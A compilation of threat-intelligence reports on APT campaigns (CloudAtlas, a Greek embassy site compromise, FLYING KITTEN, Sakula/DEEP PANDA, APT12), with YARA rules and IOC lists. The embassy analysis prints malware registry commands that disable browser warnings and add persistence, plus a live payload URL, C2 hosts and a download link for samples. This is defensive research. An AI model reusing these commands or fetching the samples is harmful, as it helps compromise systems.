from KSN, some of the victims of RedOctober are also being targeted by CloudAtlas. In at least one case, the victim's computer was attacked only twice in the last two years, with only two malicious programs RedOctober and Cloud Atlas. These and other details make us believe that CloudAtlas represents a rebirth of the RedOctober attacks. Conclusion Following big announcements and public exposures of targeted attack operations, APT groups behave in a predictable manner. Most Chinese-speaking attackers simply relocate C&C servers to a different place, recompile the malware and carry on as if nothing happened. Other groups that are more nervous about exposure go in a hibernation mode for months or years. Some may never return using the same tools and techniques. However, when a major cyber-espionage operation is exposed, the attackers are unlikely to completely shut down everything. They simply go offline for some time, completely reshuffle their tools and return with rejuvenated forces. We believe this is also the case of RedOctober, which makes a classy return with Cloud Atlas. Kaspersky products detect the malware from the Cloud Atlas toolset with the following verdicts: Exploit.Win32.CVE-2012-0158.j Exploit.Win32.CVE-2012-0158.eu Exploit.Win32.CVE-2012-0158.aw Exploit.MSWord.CVE-2012-0158.ea HEUR:Trojan.Win32.CloudAtlas.gen HEUR:Trojan.Win32.Generic HEUR:Trojan.Script.Generic Trojan-Spy.Win32.Agent.ctda Trojan-Spy.Win32.Agent.cteq Trojan-Spy.Win32.Agent.ctgm Trojan-Spy.Win32.Agent.ctfh Trojan-Spy.Win32.Agent.cter Trojan-Spy.Win32.Agent.ctfk Trojan-Spy.Win32.Agent.ctfj Trojan-Spy.Win32.Agent.crtk Trojan-Spy.Win32.Agent.ctcz Trojan-Spy.Win32.Agent.cqyc Trojan-Spy.Win32.Agent.ctfg Trojan-Spy.Win32.Agent.ctfi Trojan-Spy.Win32.Agent.cquy Trojan-Spy.Win32.Agent.ctew Trojan-Spy.Win32.Agent.ctdg Trojan-Spy.Win32.Agent.ctlf Trojan-Spy.Win32.Agent.ctpz Trojan-Spy.Win32.Agent.ctdq Trojan-Spy.Win32.Agent.ctgm Trojan-Spy.Win32.Agent.ctin Trojan-Spy.Win32.Agent.ctlg Trojan-Spy.Win32.Agent.ctpd Trojan-Spy.Win32.Agent.ctps Trojan-Spy.Win32.Agent.ctpq Trojan-Spy.Win32.Agent.ctpy Trojan-Spy.Win32.Agent.ctie Trojan-Spy.Win32.Agent.ctcz Trojan-Spy.Win32.Agent.ctgz Trojan-Spy.Win32.Agent.ctpr Trojan-Spy.Win32.Agent.ctdp Trojan-Spy.Win32.Agent.ctdr Trojan.Win32.Agent.idso Trojan.Win32.Agent.idrx HEUR:Trojan.Linux.Cloudatlas.a Trojan.AndroidOS.Cloudatlas.a Trojan.IphoneOS.Cloudatlas.a Parallel research: Blue Coat Exposes Inception Framework #9 Blitzanalysis: Embassy of Greece Beijing - Compromise It's friday afternoon, I had a bit of free time and stumbled across this tweet by PhysicalDrive0 (thx!) two hours ago and thought to give it a try to finally add a new article to this Blog (first of 2014): https://twitter.com/PhysicalDrive0/status/479921770838102017 So, I went to Google to search for the domain of the Embassy of Greece Beijing and added the (allegedly) malicious java file package that was found by PhysicalDrive0: URL: http://www.grpressbeijing.com/1.jar (malicious!) Next, I loaded the 1.jar file into Java Decompiler to get the source code. It showed, that the functionality is obfuscated in some way, e.g. the function csfn(String paramString) decrypts all strings by "removing" the numbers of the string parameter: csfn("64s33333e3333t333S55e666c777u5r333i534t76y2M34a55n76a88g666e44r2222") -> setSecurityManager There are some other obfuscation techniques, but they are not important here. Instead, the following deobfuscated code line in the function init() gives us an idea where the actual payload is located: Resp localResp = new Resp(csfn("234p34a55445c43654k632434234235")); -> pack We can also see, that the java package contains a file named pack, so we open 7-Zip and unpack the file. A quick view with a PE viewer showed, that it is a x86 PE executable not even encrypted (SHA256: b832e4b5a4829c8df6de7b42c5cb32ef25b5ab59072b4c2a7838404cd0dd5e5f): Figure 2: Payload inside Java package Figure 3: Payload inside PE viewer So, I opened IDA Pro to take a quick look at the functionality. Together with the strings of the executable, we get a brief idea of what the purpose of this malware is. The important strings are as follows: SELECT * FROM AntiVirusProduct reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v PrivDiscUiShown /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DEPOff /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DisableFirstRunCustomize /t REG_DWORD /d 2 /f reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no reg add "HKCU\Software\Microsoft\Internet Explorer\Main" reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v ShownVerifyBalloon /t REG_DWORD /d 3 /f reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v Enabled /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v WarnOnPostRedirect /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v WarnonZoneCrossing /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v AutoRecover /t REG_DWORD /d 2 /f reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v Completed /t REG_BINARY /d 1 \cmd.exe Together with the output of IDA Pro, we can see that this malware uses the command line tool cmd.exe for adding several registry keys to Internet Explorer. It also tries to retrieve possible AntiVirus information by using the COM interface (dc12a687-737f-11cf-884d-00aa004b2e24 -> IWbemLocator -> SELECT * FROM AntiVirusProduct). Furthermore, it makes use of the COM to launch an instance of Internet Explorer (d30c1661-cdaf-11d0-8a3e-00c04fc9e26e -> IWebBrowser2), supposedly to contact its C&C server. To verify this, we open up Wireshark and run the executable. As a result, we get the following network information: C&C server: defense.miraclecz.com (IP: 208.115.124.83) HTTP GET request: /index.asp?id=50100 Also, we see that it downloads some kind of data (Base64 encoded). But first, we combine the C&C server and the HTTP request and open the URL in our favorite Browser: Figure 4: Base64 encoded (2nd) Payload URL: defense.miraclecz.com/index.asp?id=50100 As you can see, there is a string named microsoft followed by Base64 encoded data. Side note: Is there also a Linux equivalent? Next, we copy the Base64 encoded data and go to the following website to let us decode it into a file (because I had the feeling it's just another unencrypted executable): http://www.motobit.com/util/base64-decoder-encoder.asp As a result, we get another executable (SHA256: a4863f44f48d1c4c050dd7baad767a86b348dd4d33924acf4e0a3cd40c6ae29f) that was only Base64 encoded and not encrypted in any way: Figure 5: Downloaded Payload So again, we fire up our PE viewer and take a look at the important strings: http://buy.miraclecz.com reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DEPOff /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DisableFirstRunCustomize /t REG_DWORD /d 2 /f reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no reg add "HKCU\Software\Microsoft\Internet Explorer\Main" reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v ShownVerifyBalloon /t REG_DWORD /d 3 /f reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v Enabled /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v WarnOnPostRedirect /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v WarnonZoneCrossing /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v AutoRecover /t REG_DWORD /d 2 /f reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v Completed /t REG_BINARY /d 1 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v spoolsv.exe /t REG_SZ /d %%temp%%\spoolsv.exe /f spoolsv.exe Software\Microsoft\Windows\CurrentVersion\Run open file fail cmd timeout error %d Run cmd error %d cmd.exe /c %s>%s %s%d.txt open file error %temp% %s%s.ini myWObject \cmd.exe !DOCTYPE html %s/?id1=blank%d&id2=%d%d %s/?id1=%d%d Again, we load the executable into IDA Pro and quickly fly over the assembly code to get an idea of the functionality. Once again, it creates several registry entries with the help of the command line tool and creates an instance of the Internet Explorer (CoCreateInstance() -> d30c1661-cdaf-11d0-8a3e00c04fc9e26e) for contacting the C&C server. This time, the network information is as follows: C&C server: buy.miraclecz.com (IP: 74.121.191.33) URL parameters (from strings of executable): %s/?id1=blank%d&id2=%d%d %s/?id1=%d%d From the code we can see, that the sample has also the ability to encode/decode data from/to Base64. The dynamic analysis showed the malware sample contacted the C&C server, but wasn't sending any URL parameters (id1, id2). Also the server didn't respond... The files can be downloaded here: https://www.dropbox.com/s/ckr7p5kka62cc7s/Embassy%20of%20Greece%20-%20Beijing.zip Password: "infected" (without "") That's it, have a nice weekend... Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN Today, our friends at FireEye released a report on an Iran-based adversary they are calling Saffron Rose. CrowdStrike Intelligence has also been tracking and reporting internally on this threat group since midJanuary 2014 under the name FLYING KITTEN, and since that time has seen targeting of multiple U.S.based defense contractors as well as political dissidents. Flying Kitten Targeted Intrusion FireEye s report notes that this adversary s targeted intrusion activity consists of credential theft and malware delivery individually. The FLYING KITTEN campaigns investigated by CrowdStrike Intelligence showed that the actor actually combines the two. For example, the adversary will register a domain that spoofs the name of the targeted organization and then host a spoofed login page on that site. The page is used to steal legitimate credentials, but once users enter the credentials, they are often redirected to a new page that prompts them to download a Browser Patch or other similar type of file. The downloaded file is actually the Stealer malware that exfiltrates stolen data to an FTP server. In addition to the aerospace/defense and dissident targeting, it also appears that FLYING KITTEN is also engaged in broader targeting via the website parmanpower[.]com. This website is registered via the same registrant email (info[@]usa.gov.us) and other Whois information as some of the other domains related to the activity discussed above. It purports to be the website of a business engaged in recruiting, training, and development in Erbil, Iraq. No malicious activity has been linked to this domain, however, the fact that it was registered under the same registrant email at the same time as other FLYING KITTEN domains linked to malicious activity, it is likely that the adversary is using this site for malicious purposes as well. The website does not appear to deliver any malware, so its most likely purpose is to act as a credential-collection mechanism much like the spoofed Institute of Electrical and Electronics Engineers (IEEE) Aerospace Conference website (aeroconf2014[.]org) the adversary used earlier this year. This spoofed recruiting company website could be used to target entities across a wide range of sectors. Attribution Attribution in this case is interesting, as the adversary appears to have made a mistake when registering its malicious domains. The registrant email that currently appears in the Whois records of some of the FLYING KITTEN domains is info[@]usa.gov.us, however historical records show that the domains were originally registered under the email address keyvan.ajaxtm[@]gmail.com. As FireEye s report notes, the keyvan.ajaxtm@gmail.com email address ties back to an Iran-based entity called Ajax Security Team. Earlier this year, Ajax Security had an easily identifiable presence on the Internet with its own website and related Facebook pages. This Internet presence has decreased significantly since early 2014, likely due to a desire to keep a lower profile now that the group is engaged in targeted intrusion activity. The following Yara rules will provide detection for the adversary remote access toolkit and exfiltration tool: rule CrowdStrike_FlyingKitten : rat meta: copyright = "CrowdStrike, Inc" description = "Flying Kitten RAT" version = "1.0" actor = "FLYING KITTEN" in_the_wild = true strings: $classpath = "Stealer.Properties.Resources.resources" $pdbstr = "\Stealer\obj\x86\Release\Stealer.pdb" condition: all of them and uint16(0) == 0x5A4D and uint32(uint32(0x3c)) == 0x4550 and uint16(uint32(0x3C) + 0x16) & 0x2000 == 0 and ((uint16(uint32(0x3c)+24) == 0x010b and uint32(uint32(0x3c)+232) > 0) or (uint16(uint32(0x3c)+24) == 0x020b and uint32(uint32(0x3c)+248) > 0)) rule CrowdStrike_CSIT_14003_03 : installer meta: copyright = "CrowdStrike, Inc" description = "Flying Kitten Installer" version = "1.0" actor = "FLYING KITTEN" in_the_wild = true strings: $exename = "IntelRapidStart.exe" $confname = "IntelRapidStart.exe.config" $cabhdr = { 4d 53 43 46 00 00 00 00 } condition: all of them You can use this rule with CrowdStrike s free CrowdResponse tool to easily scan your systems for presence of FLYING KITTEN. If you have any questions about these signatures or want to hear more about Flying Kitten and their tradecraft, please contact: intelligence@crowdstrike.com and inquire about Falcon Intelligence, our Cyber Threat Intelligence subscription. Share this - 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act crowdstrike.com The French Connection: French AerospaceFocused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Activity Adversary Manifesto by Matt Dahl Feb. 25, 2014 3 min read original https://www.readability.com/articles/orjyhfkm 1/10 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act Two weeks ago, news broke about strategic web compromise (SWC) activity on the website for the U.S. organization, Veterans of Foreign Wars (VFW). This activity leveraged exploit code for a zero-day vulnerability now identified as CVE-2014-0322 and ultimately infected victims with ZxShell malware. CrowdStrike Intelligence attributed this attack to the AURORA PANDA adversary; however, the discovery of additional indicators revealed that another adversary https://www.readability.com/articles/orjyhfkm 2/10 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act was leveraging the same vulnerability to carry out targeted attacks nearly a month before the VFW attack occurred. This other activity appears to be focused on French aerospace and shares similarities with a 2012 SWC campaign affecting the website of U.S.-based turbine manufacturer, Capstone Turbine. GIFAS-Related Activity CrowdStrike Intelligence became aware of this additional activity after learning of a malicious iframe located at savmpet[.]com. The iframe redirected visitors to gifas[.]assso[.]net, which was hosting exploit code in two files (include.html and Tope.swf ) as well as a malicious payload (Erido.jpg). https://www.readability.com/articles/orjyhfkm 3/10 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act Above are screenshots of the savmpet[.]com webpage and part of the page source showing the date that it was last modified and the iframe redirect. The content of the page was taken from the website of the French aerospace industries association, Groupement des industries fran aises a ronautiques et spatiales (GIFAS). The 17 January 2014 date on both the webpage and the page source shows that it was created nearly a month before the VFW attack occurred https://www.readability.com/articles/orjyhfkm 4/10 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act Victim exploitation occurred in the same manner as in the VFW activity, but the payload was different. Instead of ZxShell malware connecting to AURORA PANDA-related infrastructure, it was a malware variant known as Sakula connecting to command-andcontrol (C2) infrastructure at oa[.]ameteksen[.]com. French Aerospace Focus This attack s most obvious connection to French aerospace is the content taken from the GIFAS website and the GIFAS-based domain used to host the exploit code and payload (gifas[.]assso[.]net). However, a more in-depth look reveals additional connections. First is the IP address 173.252.252.204, which hosted both savmpet[.]com and gifas[.]assso[.]net. Several other domains were also pointed at this IP during the same time frame, including two that contained the same content and malicious iframe as savmpet[.]com, secure[.]safran-group[.]com, and icbcqsz[.]com. Of particular interest was secure[.]safran-group[.]com. Safran is a France-based aerospace and defense company with a focus on the design and production of https://www.readability.com/articles/orjyhfkm 5/10 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act aircraft engines and equipment. The company owns the safran-group[.]com domain, and the fact that one of its subdomains was pointed at a malicious IP address suggests that the adversary compromised Safran DNS. The Sakula malware used in this attack contained an unusual and interesting component that further indicates a focus on French aerospace. As part of the infection process, it added a number of domains to the host file of victim machines. The snecma[.]fr domain belongs to the Safran subsidiary, Snecma, that designs and builds engines for civilian and military aircraft, and spacecraft. The https://www.readability.com/articles/orjyhfkm 6/10 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act domains listed appear to provide remote access to the company s employees and possibly third-party contractors. The purpose of this component is unclear. It does not map these domains to malicious IP addresses because the 217.108.170.0/24 range belongs to the company, which means it is not meant to send victims directly to adversary infrastructure for credential collection. One possibility is that it was meant to make the malware appear more legitimate. It has also been hypothesized that this was done to ensure DNS connectivity to these particular domains; however, it seems unlikely that victims would suffer significant DNS connectivity issues, which means that adding this component to the malware for that purpose would be somewhat superfluous. It should be noted that no victim logs related to this attack were discovered, so it is unclear who the actual targets and victims were. Having the secure[.]safrangroup[.]com domain pointed at a malicious IP indicates that Safran suffered a DNS compromise, but no deeper network compromise was observed. It is possible that https://www.readability.com/articles/orjyhfkm 7/10 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act the adversary desired to target the French aerospace and defense sectors broadly, or possibly organizations in these sectors globally. Similarities to 2012 Capstone Turbine SWC Attack In January 2013, it was reported that the website for U.S.-based turbine manufacturer, Capstone Turbine, had been compromised and was being used in a SWC attack leveraging an exploit for the CVE-2012-4792. There are three primary similarities between the Capstone Turbine attack and the recent French aerospace activity. The first, and most significant, connection is the use of Sakula malware. In both campaigns, Sakula variants were installed on successfully exploited machines. In Capstone Turbine, the Sakula sample used (MD5 hash: 61fe6f4cb2c54511f0804b1417ab3bd2) connected to web[.]vipreclod[.]com, and in the recent attack, the sample (MD5 hash: c869c75ed1998294af3c676bdbd56851) connected to oa[.]ameteksen[.]com. Use of this malware doesn https://www.readability.com/articles/orjyhfkm 8/10 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act appear to be widespread, but it is not yet clear whether only one group uses it, and therefore its use alone does not necessarily indicate a particular adversary. Another similarity is that GIFAS-based malicious domains are related to each incident. In the more recent attack, the gifas[.]assso[.]net domain was used to host exploit code and the malicious payload. The Capstone Turbine incident did not directly use a GIFAS-based domain, but a deeper look at network indicators related to those observed in the Capstone incident reveals two such domains: gifas[.]cechire[.]com and gifas[.]blogsite[.]org. https://www.readability.com/articles/orjyhfkm 9/10 4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act The third similarity between the two is the use of zerodays. The exploit used in Capstone Turbine was a zeroday during the time it was active, just like the exploit used in the recent French aerospace activity. This is a general similarity that does not create a definitive link between the two attacks, but when viewed in conjunction with the use of the same malware and GIFAS-based domains, it strengthens the connection. Original URL: http://www.crowdstrike.com/blog/french-connection-french-aerospace-focused-cve2014-0322-attack-shares-similarities-2012/ https://www.readability.com/articles/orjyhfkm 10/10 I am Ironman: DEEP PANDA Uses Sakula Malware to Target Organizations in Multiple Sectors Over the last few months, the CrowdStrike Intelligence team has been tracking a campaign of highly targeted events focused on entities in the U.S. Defense Industrial Base (DIB), healthcare, government, and technology sectors. This campaign infected victims with Sakula malware variants that were signed with stolen certificates. Investigation into this activity led to associations with the adversary known to CrowdStrike as DEEP PANDA. On 31 July 2014, an executable was identified, which, at the time, was not detected by any anti-virus products. When this file was executed, it caused the victim to view a website by using the ShellExecute() API to open a URL. The site s domain name was meant to spoof that of a site set up to provide information on an alumni event for a U.S university. This page requested that the visitor download an Adobe-related plugin in order to view the content. The downloaded plugin file included a variant of Sakula malware. [1] The Sakula malware in this campaign utilized the Dynamic Link Library (DLL) side-loading technique most commonly associated with PlugX activity. In the aforementioned university-related incidents, a legitimate executable named MediaSoft.exe (MD5 hash: d00b3169f45e74bb22a1cd684341b14a) loaded a file named msi.dll (MD5 hash: ae6f33f6cdc25dc4bda24b2bccff79fe), which, in turn, was used to load the Sakula executable (MD5 hash: 0c2674c3a97c53082187d930efb645c2). This final executable was also signed with a certificate assigned to an organization called DTOPTOOLZ Co., Ltd. Command-and-Control (C2) communications in this incident went directly to IP address 180.210.206.246; a sample GET request is below: Further investigation revealed similar activity stretching back to at least April 2014, when similar TTPs were used to target a healthcare organization and a U.S.-based IT company with high-profile clients in the defense sector. Two other incidents were also identified in August 2014 targeting a company in the DIB and a Mongolian government entity. All incidents in this campaign were similar in that they utilized malicious droppers masquerading as installers for legitimate software applications like Adobe Reader, Juniper VPN, and Microsoft ActiveX Control. They display progress bars that make it appear as if the specified software is being updated or installed. Example of Installer Progress Bar Displayed by Dropper In addition, the droppers all directed victims to login pages for services specific to the target organization like webmail, document sharing, or corporate VPN. In all cases except one, the victims were directed to legitimate login pages. The one exception was a case in which victims were sent to a login page hosted on a domain that spoofed that of the legitimate one. It is unclear whether redirecting victims to these login pages was part of credential-collection activity or merely meant to deceive victims into believing that the activity was legitimate. Example of a Login Page that Victims were Redirected to The campaign appeared to be over by the end of August, but a file was recently discovered that suggests it may be ongoing. The intended target again appeared to be a Mongolian government entity, and the file masqueraded as an installer for Microsoft ActiveX software. It dropped the side-loaded Sakula malware just like in the other incidents; however, in this instance, the Sakula payload was signed with a certificate assigned to a different organization, Career Credit Co., Ltd. The malware used the domain www[.]xhamster[.]com for C2 which was created in mid-September and is registered with the email address wendellom@yahoo.com and registrant name tonyy starke (hence the name, Ironman-related title for this blog). Below is a chart showing the relevant relationships to this DEEP PANDA campaign. The bottom of the chart shows an infrastructure connection between an IP address (198.200.45.112) used this campaign and also used in recently observed DEEP PANDA activity. Association with Recent Scanbox Activity In September 2014, CrowdStrike Intelligence identified a malicious file signed with the DTOPTOOLZ Co., Ltd. certificate. Analysis of this file revealed it to be Derusbi malware (a favorite RAT of DEEP PANDA) that used the domain vpn[.]foundationssl[.]com for its C2. At the time of discovery, CrowdStrike did not attribute the file to DEEP PANDA based on the malware alone, but the use of the DTOPTOOLZ certificate to sign a malware variant known to be heavily used by this adversary makes it likely that this signed Derusbi sample is also attributable to DEEP PANDA. In a recent public report from PWC, another foundationssl[.]com domain was linked to activity involving the Strategic Web Compromise (SWC) framework more commonly known as Scanbox. In that operation, the Scanbox code was placed on the website of a U.S.-based think tank and utilized the malicious domain, news[.]foundationssl[.]com. The use of the two foundationssl[.]com subdomains suggests that the same adversary (in this case DEEP PANDA) was responsible for the signed Derusbi malware file and the think tank SWC activity. Furthermore, CrowdStrike publicly reported on DEEP PANDA targeting of think tanks in July 2014. If you want to hear more about DEEP PANDA and their tradecraft or any of the other adversaries that CrowdStrike tracks, please contact: sales@crowdstrike.com [1] In February 2014, CrowdStrike publicly reported on a campaign that leveraged Sakula malware (http://www.crowdstrike.com/blog/french-connection-french-aerospace-focused-cve-2014-0322-attackshares-similarities-2012/index.html); however, the Tactics, Techniques, and Procedures (TTPs) between that campaign and this recent one are different, suggesting two distinct adversaries are using the Sakula malware. Share this - Darwin s Favorite APT Group Introduction The attackers referred to as APT12 (also known as IXESHE, DynCalc, and DNSCALC) recently started a new campaign targeting organizations in Japan and Taiwan. APT12 is believed to be a cyber espionage group thought to have links to the Chinese People s Liberation Army. APT12 s targets are consistent with larger People s Republic of China (PRC) goals. Intrusions and campaigns conducted by this group are inline with PRC goals and self-interest in Taiwan. Additionally, the new campaigns we uncovered further highlight the correlation between APT groups ceasing and retooling operations after media exposure, as APT12 used the same strategy after compromising the New York Times in Oct 2012. Much like Darwin theory of biological evolution, APT12 been forced to evolve and adapt in order to maintain its mission. The new campaign marks the first APT12 activity publicly reported since Arbor Networks released their blog Illuminating The Etumbot APT Backdoor. FireEye refers to the Etumbot backdoor as RIPTIDE. Since the release of the Arbor blog post, FireEye has observed APT12 use a modified RIPTIDE backdoor that we call HIGHTIDE. This is the second time FireEye has discovered APT12 retooling after a public disclosure. As such, FireEye believes this to be a common theme for this APT group, as APT12 will continue to evolve in an effort to avoid detection and continue its cyber operations. FireEye researchers also discovered two possibly related campaigns utilizing two other backdoors known as THREEBYTE and WATERSPOUT. Both backdoors were dropped from malicious documents built utilizing the Tran Duy Linh exploit kit, which exploited CVE-2012-0158. These documents were also emailed to organizations in Japan and Taiwan. While APT12 has previously used THREEBYTE, it is unclear if APT12 was responsible for the recently discovered campaign utilizing THREEBYTE. Similarly, WATERSPOUT is a newly discovered backdoor and the threat actors behind the campaign have not been positively identified. However, the WATERSPOUT campaign shared several traits with the RIPTIDE and HIGHTIDE campaign that we have attributed to APT12. Background From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control (C2) server. RIPTIDE s first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication. Figure 1: RIPTIDE HTTP GET Request Example In June 2014, Arbor Networks published an article describing the RIPTIDE backdoor and its C2 infrastructure in great depth. The blog highlighted that the backdoor was utilized in campaigns from March 2011 till May 2014. Following the release of the article, FireEye observed a distinct change in RIPTIDE s protocols and strings. We suspect this change was a direct result of the Arbor blog post in order to decrease detection of RIPTIDE by security vendors. The changes to RIPTIDE were significant enough to circumvent existing RIPTIDE detection rules. FireEye dubbed this new malware family HIGHTIDE. HIGHTIDE Malware Family On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry. Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158. It is worth noting that this email appeared to have been sent from another Taiwanese Government employee, implying that the email was sent from a valid but compromised account. Figure 2: APT12 Spearphishing Email The exploit document dropped the HIGHTIDE backdoor with the following properties: 6e59861931fa2796ee107dc27bfdd480 Size 75264 bytes Complie 2014-08-23 08:22:49 Time Import ead55ef2b18a80c00786c25211981570 Hash The HIGHTIDE backdoor connected directly to 141.108.2.157. If you compare the HTTP GET request from the RIPTIDE samples (Figure 1) to the HTTP GET request from the HIGHTIDE samples (Figure 3) you can see the malware author changed the following items: User Agent Format and structure of the HTTP Uniform Resource Identifier (URI) Figure 3: HIGHTIDE GET Request Example Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158. FireEye observed APT12 deliver these exploit documents via phishing emails in multiple cases. Based on past APT12 activity, we expect the threat group to continue to utilize phishing as a malware delivery method. File Name Exploit 73f493f6a2b0da23a79b50765c164e88 .doc CVE-2012-0158 f6fafb7c30b1114befc93f39d0698560 0824.1.doc CVE-2012-0158 eaa6e03d9dae356481215e3a9d2914dc CVE-2012-0158 .doc 06da4eb2ab6412c0dc7f295920eb61c4 .doc CVE-2012-0158 53baedf3765e27fb465057c48387c9b6 103 .doc CVE-2012-0158 00a95fb30be2d6271c491545f6c6a707 2014 09 17 Welcome Reception for Bob CVE-2012-0158 and Jason_invitation.doc 4ab6bf7e6796bb930be2dd0141128d06 _Y103(2) CVE-2012-0158 (0825).doc Figure 4: Identified exploit documents for HIGHTIDE When the file is opened, it drops HIGHTIDE in the form of an executable file onto the infected system. RIPTIDE and HIGHTIDE differ on several points: executable file location, image base address, the UserAgent within the GET requests, and the format of the URI. The RIPTIDE exploit document drops its executable file into the C:\Documents and Settings\{user}\Application Data\Location folder while the HIGHTIDE exploit document drops its executable file into the C:\DOCUMENTS and SETTINGS\ {user}\LOCAL SETTINGS\Temp\ folder. All but one sample that we identified were written to this folder as word.exe. The one outlier was written as winword.exe. Research into this HIGHTIDE campaign revealed APT12 targeted multiple Taiwanese Government organizations between August 22 and 28. THREEBYTE Malware Family On Monday August 25, 2014 we observed a different spear phish email sent from lilywang823@gmail.com to a technology company located in Taiwan. This spear phish contained a malicious Word document that exploited CVE-2012-0158. The MD5 of the exploit document was e009b95ff7b69cbbebc538b2c5728b11. Similar to the newly discovered HIGHTIDE samples documented above, this malicious document dropped a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe. This backdoor had the following properties: 16e627dbe730488b1c3d448bfc9096e2 Size 75776 bytes Complie 2014-08-25 01:22:20 Time Import dcfaa2650d29ec1bd88e262d11d3236f Hash This backdoor sent the following callback traffic to video[.]csmcpr[.]com: Figure 5: THREEBYTE GET Request Beacon The THREEBYTE spear phishing incident (while not yet attributed) shared the following characteristics with the above HIGHTIDE campaign attributed to APT12: The THREEBYTE backdoor was compiled two days after the HIGHTIDE backdoors. Both the THREEBYTE and HIGHTIDE backdoors were used in attacks targeting organizations in Taiwan. Both the THREEBYTE and HIGHTIDE backdoors were written to the same filepath of C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe. APT12 has previously used the THREEBYTE backdoor. WATERSPOUT Malware Family On August 25, 2014, we observed another round of spear phishing emails targeting a high-technology company in Japan. Attached to this email was another malicious document that was designed to exploit CVE-2012-0158. This malicious Word document had an MD5 of 499bec15ac83f2c8998f03917b63652e and dropped a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe. The backdoor had the following properties: f9cfda6062a8ac9e332186a7ec0e706a Size 49152 bytes Complie 2014-08-25 02:10:11 Time Import 864cd776c24a3c653fd89899ca32fe0b Hash The backdoor connects to a command and control server at icc[.]ignorelist[.]com. Similar to RIPTIDE and HIGHTIDE, the WATERSPOUT backdoor is an HTTP-based backdoor that communicates with its C2 server. GET //<5 digit number>/<4 character string>.php?_id=<43 character string>= HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Host: Cache-Control: no-cache Figure 6: Sample GET request for WATERSPOUT backdoor Although there are no current infrastructure ties to link this backdoor to APT12, there are several data points that show a possible tie to the same actors: Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting CVE-2012-0158. The same Tran Duy Linh Microsoft Word Exploit Kit was used in delivery of this backdoor. Similar Targets were observed where the threat actors utilized this backdoor. Japanese Tech Company Taiwanese Government Organizations Organizations in the Asia-Pacific Region that are of Interest to China The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors: C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\winword.exe WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor. Although these points do not definitively tie WATERSPOUT to APT12, they do indicate a possible connection between the WATERSPOUT campaign, the THREEBYTE campaign, and the HIGHTIDE campaign attributed to APT12. Conclusion FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to 